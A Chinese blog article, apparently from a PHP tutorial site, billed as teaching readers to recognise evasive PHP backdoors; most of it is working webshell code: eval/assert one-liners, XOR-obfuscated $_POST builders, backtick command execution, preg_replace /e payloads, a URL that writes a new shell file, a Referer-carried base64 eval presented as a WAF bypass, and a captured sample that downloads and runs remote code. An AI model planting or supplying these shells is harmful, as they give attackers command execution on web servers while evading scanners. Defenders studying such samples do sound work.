教你识别简单的免查杀PHP后门


Posted in PHP onSeptember 13, 2015

一个最常见的一句话后门可能写作这样

<?php @eval($_POST['cmd']);?>

或这样

<?php @assert($_POST['cmd']);?>

tudouya 同学在FREEBUF上给出[一种构造技巧]利用

<?php  @$_++; // $_ = 1  $__=("#"^"|"); // $__ = _   $__.=("."^"~"); // _P   $__.=("/"^"`"); // _PO   $__.=("|"^"/"); // _POS   $__.=("{"^"/"); // _POST   ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);  ?>

构造生成,当然,嫌太直观可以写作这样

<?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>

然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就出现了

我们再来看看号称史上最简单免查杀php后门

直接上代码:

<?php
 
$c=urldecode($_GET['c']);if($c){`$c`;}//完整
 
!$_GET['c']||`{$_GET['c']}`;//精简
 
/*******************************************************
 * 原理:PHP中``符号包含会当作系统命令执行
 * 示例:http://host/?c=type%20config.php>config.txt
 *    然后就可以下载config.txt查看内容了!
 *    可以试试更变态的命令,不要干坏事哦!
 *******************************************************/

其实现原理就是PHP会直接将 ` 符号(注意:不是单引号)包含的内容解析为系统命令执行!这样就可以自由变态地扩展了!

再来看同样很简单的一段代码

<?php 
preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft"); 
?>

密码page

近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。

Webshell代码如下:

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

关键看下面这句代码,

sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

这里执行之后其实是一张图片,解密出来的图片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,

<?php

echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",

'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));

?>

无特征隐藏PHP一句话:

<?php 
session_start(); 
$_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); 
$_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' ); 
?>

将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。
超级隐蔽的PHP后门:

<?php $_GET [a]( $_GET [b]);?>

 
仅用GET函数就构成了木马;
利用方法:
    ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。
层级请求,编码运行PHP后门:
此方法用两个文件实现,文件1
 

<?php 
//1.php 
header( 'Content-type:text/html;charset=utf-8' ); 
parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a ); 
if (reset( $a ) == '10' && count ( $a ) == 9) { 
eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6))))); 
} 

?>

文件2

<?php 
//2.php 
header( 'Content-type:text/html;charset=utf-8' ); 
//要执行的代码 
$code = <<<CODE 
phpinfo(); 
CODE; 
//进行base64编码 
$code = base64_encode ( $code ); 
//构造referer字符串 
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ; 
//后门url 
$url = 'http://localhost/test1/1.php ' ; 
$ch = curl_init(); 
$options = array ( 
CURLOPT_URL => $url , 
CURLOPT_HEADER => FALSE, 
CURLOPT_RETURNTRANSFER => TRUE, 
CURLOPT_REFERER => $referer
); 
curl_setopt_array( $ch , $options ); 
echocurl_exec( $ch ); 

?>

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。

我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦。

PHP 相关文章推荐
缓存技术详谈―php
Dec 14 PHP
php 特殊字符处理函数
Sep 05 PHP
php学习笔记 数组遍历实现代码
Jun 09 PHP
php GUID生成函数和类
Mar 10 PHP
PHP图片库imagemagick安装方法
Sep 23 PHP
php中的动态调用实例分析
Jan 07 PHP
php从数据库查询结果生成树形列表的方法
Apr 17 PHP
phpStudy访问速度慢和启动失败的解决办法
Nov 19 PHP
php实现购物车功能(上)
Jul 23 PHP
php语言的7种基本的排序方法
Dec 28 PHP
遍历echsop的region表形成缓存的程序实例代码
Nov 01 PHP
thinkPHP实现的联动菜单功能详解
May 05 PHP
php文件扩展名判断及获取文件扩展名的N种方法
Sep 12 #PHP
php上传功能集后缀名判断和随机命名(强力推荐)
Sep 10 #PHP
ubuntu下配置nginx+php+mysql详解
Sep 10 #PHP
ThinkPHP函数详解之M方法和R方法
Sep 10 #PHP
基于JQuery+PHP编写砸金蛋中奖程序
Sep 08 #PHP
四个常见html网页乱码问题及解决办法
Sep 08 #PHP
php图片水印添加、压缩、剪切的封装类实现
Apr 18 #PHP
You might like
定义php常量的详解
2013/06/09 PHP
php跨服务器访问方法小结
2015/05/12 PHP
php上传图片生成缩略图(GD库)
2016/01/06 PHP
php删除一个路径下的所有文件夹和文件的方法
2018/02/07 PHP
PHP PDO和消息队列的个人理解与应用实例分析
2019/11/25 PHP
PHP实现新型冠状病毒疫情实时图的实例
2020/02/04 PHP
javascript脚本调试方法小结
2008/11/24 Javascript
javascript实现动态侧边栏代码
2014/02/19 Javascript
js检测输入内容全为空格的方法
2014/05/03 Javascript
Node.js 学习笔记之简介、安装及配置
2015/03/03 Javascript
JavaScript淡入淡出渐变简单实例
2015/08/06 Javascript
js实现不提交表单获取单选按钮值的方法
2015/08/21 Javascript
基于JS2Image实现圣诞树代码
2015/12/24 Javascript
jquery网页加载进度条的实现
2017/06/01 jQuery
基于JavaScript实现弹幕特效
2020/08/27 Javascript
JavaScript实现写入文件到本地的方法【基于FileSaver.js插件】
2018/03/15 Javascript
自定义vue组件发布到npm的方法
2018/05/09 Javascript
Angular项目如何升级至Angular6步骤全纪录
2018/09/03 Javascript
layui-select动态选中值的例子
2019/09/23 Javascript
python实现的简单抽奖系统实例
2015/05/22 Python
Django forms组件的使用教程
2018/10/08 Python
浅谈Python的list中的选取范围
2018/11/12 Python
使用Template格式化Python字符串的方法
2019/01/22 Python
python面向对象法实现图书管理系统
2019/04/19 Python
200行python代码实现2048游戏
2019/07/17 Python
采用专利算法搜索最廉价的机票:CheapAir
2016/09/10 全球购物
MyBag中文网:英国著名的时尚包袋电商零售网站
2020/07/31 全球购物
大学生咖啡店创业计划书
2014/01/21 职场文书
安全检查管理制度
2014/02/02 职场文书
《翻越远方的大山》教学反思
2014/04/13 职场文书
小学班干部竞选演讲稿
2014/04/24 职场文书
小学生感恩演讲稿
2014/04/25 职场文书
2014年学校办公室工作总结
2014/12/19 职场文书
员工自我评价范文
2015/03/11 职场文书
电工生产实习心得体会
2016/01/22 职场文书
Win11怎么添加用户?Win11添加用户账户的方法
2022/07/15 数码科技